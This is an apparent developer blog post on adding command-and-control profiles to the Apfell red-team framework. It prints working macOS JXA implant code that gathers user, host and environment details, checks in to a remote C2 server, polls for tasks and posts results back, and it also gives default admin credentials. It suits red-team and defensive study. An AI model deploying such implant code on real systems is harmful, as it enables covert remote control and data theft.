C2 Profile Updates

12 minute read

Published:

I recently started describing how to track red team operations in my Apfell project. It’s pretty rudamentary, and there’s a lot that still needs to be done, but it’s a start. I covered the idea of tracking individual payloads, but there’s still a few things missing. One of which is the idea of a command and control (C2) profile.

C2 Profiles

A big piece of any payload is the C2 channel associated with it. So, I updated the back-end model of Apfell to include this information. This involved quite a few changes, so I’ll go into what all this means here.

Database view of a C2 Profile

As far as the database is concerned, what all does a C2 profile look like?

class C2Profile(p.Model):
    name = p.CharField(unique=True, null=False) 
    description = p.CharField(null=True, default="")
    operator = p.ForeignKeyField(Operator, null=False)  # keep track of who created/registred this profile
    payload_types = p.CharField(null=False)  # which types of payloads exist for this C2 profile
    creation_time = p.DateTimeField(default=datetime.datetime.now, null=False)  # (indicates "when")
    running = p.BooleanField(null=False, default=False)

It’s pretty straightforward right now. Every C2 Profile has a name, which must be unique, and this is how we will typically refer to it. The default RESTful C2 mechanisms built into Apfell are called ‘default’ (go figure). I keep track of who registered a specific C2 profile and when, as well as if it’s currently running. I’ll get into this a bit more later, but you can have as many different C2 profiles running at the same time as you want. I also keep track of which payload types a specific C2 profile supports. This will make more sense in the next section, but it’s up to you to make your C2 profile supported by multiple payload types.

File system view of a C2 Profile

You might have noticed that nowhere in the C2 Profile database object did I specify any paths. Odd right? Not quite - I use a strict file hierarchy on the file system to locate the appropriate information. I’ve included this information in the code as well as a helpful how_to_add_c2profile.txt, but I’ll reiterate here as well.

Create a new directory in the c2_profiles folder with the name of the profile you’re going to use (ex: twitter). Inside of that directory: Your server side will be called “{profile name}_server.py” For each client side version you support (such as apfell-jxa, apfell-app, apfell-macho, etc): create a new folder with that type name. Inside of this folder, you’ll have your code with the same name as your profile.

Example: My profile name is twitter, and I created client-side versions for apfell-jxa and apfell-macho. Thus, I should have the following structure:
Apfell/app/c2_profiles/twitter
Apfell/app/c2_profiles/twitter/twitter_server.py
Apfell/app/c2_profiles/twitter/apfell-jxa
Apfell/app/c2_profiles/twitter/apfell-jxa/twitter.js
Apfell/app/c2_profiles/twitter/apfell-macho
Apfell/app/c2_profiles/twitter/apfell-macho/twitter.txt

All profile names need to be unique and setup in this format. Once you have this structure, you need to register this profile with the server (C2 Profile Management under the Operations tab). The registration just needs a name, but I use the name to traverse this directory structure, so it needs to be set up and registered before you can use it.

default is already taken as the default C2 profile (RESTful), so it won’t have the default_server.py since that’s already the main Apfell server that’s running.

Payload view of a C2 Profile

Now that you know what the database and file system looks like for a C2 profile, what does the payload view look like? Right now I still only have support for apfell-jxa payloads, but this same philosophy will carry over to the different formats as well. Inside of a payload there are two main classes: implant and baseC2. The implant class keeps track of the information about the current implant:

//--------------IMPLANT INFORMATION-----------------------------------
class implant{
	constructor(){
		this.procInfo = $.NSProcessInfo.processInfo;
		this.hostInfo = $.NSHost.currentHost;
		this.id = -1;
		this.user = ObjC.unwrap(this.procInfo.userName);
		this.fullName = ObjC.unwrap(this.procInfo.fullUserName);
		//every element in the array needs to be unwrapped
		this.ip = ObjC.unwrap(this.hostInfo.addresses); //probably just need [0]
		this.pid = this.procInfo.processIdentifier;
		//every element in the array needs to be unwrapped
		this.host = ObjC.unwrap(this.hostInfo.names); //probably just need [0]
		this.killdate = "";
		//this is a dictionary, but every 'value' needs to be unwrapped
		this.environment = ObjC.unwrap(this.procInfo.environment);
		this.uptime = this.procInfo.systemUptime;
		//every element in the array needs to be unwrapped
		this.args = ObjC.unwrap(this.procInfo.arguments);
		this.osVersion = this.procInfo.operatingSystemVersionString;
		this.uuid = "XXXX";
	}
}
apfell = new implant();

You don’t really need to concern yourself with this at the moment, but you should notice that the section at the bottom this.uuid = "XXXX"; will get stamped out with the actual UUID for this payload. At the end we create a new instance of this implant. The next big piece though is the baseC2:

//--------------Base C2 INFORMATION----------------------------------------
class baseC2{
	//To create your own C2, extend this class and implement the required functions
	//The main code depends on the mechanism being C2 with these functions.
	//   the implementation of the functions doesn't matter though
	//   You're welcome to add additional functions as well, but this is the minimum
	constructor(interval, baseurl){
		this.interval = interval; //seconds between callbacks
		this.baseurl = baseurl; //where to reach out to
	}
	getInterval(){
		return this.interval;
	}
	checkin(){
		//check in with c2 server
	}
	getTasking(){
		//reach out to wherever to get tasking
	}
	postResponse(){
		//output a response to a task
	}
}

You’ll notice that there’s nothing implemented. Bam! That’s where you come into play. Your high school or college computer science teacher will probably be jumping for joy at this, but I decided to implement this with some object oriented principles. Your C2 Profile needs to implement these functions, and that’s it. This works because your profile will extend this base class and actually implement the corresponding functions. After your implementation, I stamp in the following line: C2 = new customC2(10, "https://some.domain"); where you specify the callback interval (10 seconds in this case) and where to reach out to (https://some.domain in this case). The rest of the implant simply uses the C2 variable and the expected functions to do its work. You’re free to add in more functions to help you make things more modular within your customC2 code, but they won’t be directly called by the base payload. For example, for the Apfell/app/c2_profiles/default/apfell-jxa/default.js file, you’ll see the following:

//-------------RESTFUL C2 mechanisms ---------------------------------
class customC2 extends baseC2{
	constructor(interval, baseurl){
		super(interval, baseurl);
	}
  checkin(ip, pid, user, host){
		//get info about system to check in initially
		//needs IP, PID, user, host, payload_type
		//gets back a unique ID
		var info = {'ip':ip,'pid':pid,'user':user,'host':host,'uuid':apfell.uuid};
		//calls htmlPostData(url,data) to actually checkin
		var jsondata = this.htmlPostData("api/v1.0/callbacks/", JSON.stringify(info));
		apfell.id = jsondata.id;
		return jsondata;
	}
	getTasking(){
		// http://ip/api/v1.0/tasks/callback/{implant.id}/nextTask
		var url = this.baseurl + "api/v1.0/tasks/callback/" + apfell.id + "/nextTask";
		var task = this.htmlGetData(url);
		return JSON.parse(task);
	}
  postResponse(urlEnding, data){
		//depending on the amount of data we're sending, we might need to chunk it
		//  current chunks at 5kB, but we can change that later
		var size=5000;
		//console.log("total response size: " + data.length);
		for(var i = 0; i < data.length; i+=size){
			//console.log(i);
			var chunk = data.substring(i,i+size);
			//console.log(chunk);
			//base64 encode each chunk before we send it
			var chunk_nsstring = $.NSString.alloc.initWithCStringEncoding(chunk, $.NSData.NSUnicodeStringEncoding);
			//console.log(chunk_nsstring);
			var data_chunk = chunk_nsstring.dataUsingEncoding($.NSData.NSUTF16StringEncoding);
			//console.log(data_chunk);
			var encoded_chunk = data_chunk.base64EncodedStringWithOptions(0).js;
			//console.log(encoded_chunk);
			var post_data = {"response":encoded_chunk};
			var jsondata = this.htmlPostData(urlEnding, JSON.stringify(post_data));
			//console.log("returned data: " + JSON.stringify(jsondata));
		}
		return jsondata;
	}
  htmlPostData(urlEnding, sendData){
		while(true){
			try{ //for some reason it sometimes randomly fails to send the data, throwing a JSON error. loop to fix for now
				//console.log("posting: " + sendData + " to " + urlEnding);
				var url = this.baseurl + urlEnding;
				//console.log(url);
				var data = $.NSString.alloc.initWithUTF8String(sendData);
				var req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url));
				req.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST"));
				var postData = data.dataUsingEncodingAllowLossyConversion($.NSString.NSASCIIStringEncoding, true);
				var postLength = $.NSString.stringWithFormat("%d", postData.length);
				req.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length'));
				req.setHTTPBody(postData);
				var response = Ref();
				var error = Ref();
				var responseData = $.NSURLConnection.sendSynchronousRequestReturningResponseError(req,response,error);
				var resp = ObjC.unwrap($.NSString.alloc.initWithDataEncoding(responseData, $.NSUTF8StringEncoding));
				//console.log(resp);
				var jsondata = JSON.parse(resp);
				return jsondata;
			}
			catch(error){
			}
		}
	}
	htmlGetData(url){
		return ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString(url)),$.NSUTF8StringEncoding));
	}
}

You’ll notice that I have a few more functions in there than are required. This is just to help make things a bit easier from a coding perspective.

GUI view of a C2 Profile

So, you’ve created the code and made the appropriate folder structures/naming conventions, but now what? There are two things left to cover - registering the C2 Profile with the database, and the {profile name}_server.py component.

Registering with the GUI

This is pretty easy - you just need to go to Operations -> C2 Profile Management and following the on-screen guides to register your profile. By default, it’ll be set to stopped because you haven’t actually started anything yet. When you’re ready to be running a C2 profile, simply click the button to start it.

alt text

C2 Profile *_server.py code

This is the last piece and is why you’re able to have as many C2 profiles running at a time as you want. When you click the button to start running a C2 Profile, I spin up a subprocess for python3 to run that associated *_server.py file. Your payload code that we already talked about is what runs inside of a payload to handle the conversion of your special C2 sauce to what the implant can understand. But what interfaces between your special C2 mechanism and the Apfell server?

You guessed it! The *_server.py code you created. All this code needs to do is make the translation between your special C2 mechanism and the back-end RESTful API calls. At this point, each *_server.py that’s running handles its own business, and the back-end RESTful interface is already built to handle lots of connections (it’s a web server after all). Plus, the RESTful interface inherently deals with specific callbacks at a time, so there shouldn’t be any clobbering going on.

C2 Profile wrapup

Now, this is of course still pretty rough. You have to create your own *_server.py and the appropriate payload language code for all of this to work, but it’s a step in the right direction. You’ll have the ability to run different C2 profiles and track which profiles are associated with which payloads (and thus with which callbacks).

As a bonus to help illustrate this, I’ve provided a Basic Analytics Dashboard located at Operations -> Analytics Dashboard where you can see some of this stuff in real-time and slightly configurable. In this screenshot, you can see the callback tree (with the options to only show the currently active callbacks, show all of them, and even strikethrough the dead callbacks). You can even see the associations of callbacks to which payload/c2 profile is registered and by whom.

alt text

Other Modifications to this update

You might have noticed something in that above screenshot - the user is called apfell_admin. I did a bit of user management in this update as well. When the Apfell server starts up, it creates 2 things:

  • default apfell_admin user with password apfell_password
  • default C2 profile for the RESTful interface

I suggest you change the apfell_admin password from the user interface as soon as you start it up. If you want it changed before you start the server, you can change it in the setup() function in the models.py file - you will have to provide the SHA512 of the new password though. I’ve also started to add in the idea of ‘admin’ users and regular users so that when I start implementing the idea of operations within the interface, it’ll be a smoother transition.

Once you log in, the last tab at the top navigation will have a new dropdown (instead of just logout) with a settings page. This is where you can change your own name/password, or (if you’re an admin), you can change other user’s information or delete users. This is still pretty rudamentary, but it’s progress. I needed something there for now so that when I create the default c2 profile there is an operator to associate with it.

alt text

You’ll also notice that when you go to create an apfell-jxa payload in the GUI, that there is a select box for C2 profile. If you register a new C2 profile that has a payload type of apfell-jxa, then it’ll be populated in here automatically.

The payload management section has also been updated a bit to show the associated C2 profile and the ability to toggle if you want to see all the payloads that were automatically generated (such as when you spawn a new callback) or just the ones that were manually created.